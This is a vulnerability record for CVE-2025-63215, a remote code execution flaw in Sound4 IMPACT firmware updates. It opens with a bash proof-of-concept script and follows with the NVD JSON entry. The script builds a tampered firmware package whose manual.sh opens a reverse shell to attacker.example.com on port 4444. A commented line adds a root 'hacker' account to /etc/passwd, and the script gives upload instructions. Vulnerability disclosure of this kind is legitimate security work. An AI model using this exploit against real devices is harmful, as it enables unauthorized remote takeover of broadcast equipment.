CVE-2025-63215

#!/bin/bash # CVE-2025-63215 PoC - Malicious Firmware Package Generator # Sound4 IMPACT RCE via Firmware Update FIRMWARE_URL="https://www.sound4helpdesk.com/impact-downloads/" ORIGINAL_FW="Impact_original.fw" MALICIOUS_FW="Impact_malicious.fw" # Step 1: Download original firmware echo "[*] Downloading original firmware..." # wget $FIRMWARE_URL/$ORIGINAL_FW # Step 2: Extract firmware package mkdir -p firmware_extracted cd firmware_extracted cp ../$ORIGINAL_FW . # unzip or extract firmware (format may vary) # Step 3: Modify manual.sh with malicious commands cat > update/manual.sh << 'EOF' #!/bin/sh echo "[+] Running firmware update..." # Malicious payload - reverse shell ATTACKER_IP="attacker.example.com" ATTACKER_PORT="4444" /bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & # Or execute arbitrary commands # echo "hacker:x:0:0::/root:/bin/sh" >> /etc/passwd EOF chmod +x update/manual.sh # Step 4: Repackage firmware echo "[*] Repackaging firmware..." # tar/cpio commands to create new .fw file # zip ../$MALICIOUS_FW * echo "[+] Malicious firmware created: $MALICIOUS_FW" echo "[+] Upload via Sound4 IMPACT Web Interface > Settings > Firmware Update"

{"cve": {"id": "CVE-2025-63215", "sourceIdentifier": "[email protected]", "published": "2025-11-18T22:15:51.447", "lastModified": "2026-01-15T21:52:30.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sound4 IMPACT web-based management interface is vulnerable to Remote Code Execution (RCE) via a malicious firmware update package. The update mechanism fails to validate the integrity of manual.sh, allowing an attacker to inject arbitrary commands by modifying this script and repackaging the firmware."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-494"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sound4:impact_firmware:2.33:*:*:*:*:*:*:*", "matchCriteriaId": "444065A7-220B-4E65-9EF7-137F1ECA77E5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sound4:impact:-:*:*:*:*:*:*:*", "matchCriteriaId": "CF502CEB-F8A3-4161-B78A-338F3108A1CF"}]}]}], "references": [{"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63215%20_%20Sound4%20IMPACT%20%20RCE", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.sound4helpdesk.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.sound4helpdesk.com/impact-downloads/", "source": "[email protected]", "tags": ["Product"]}]}}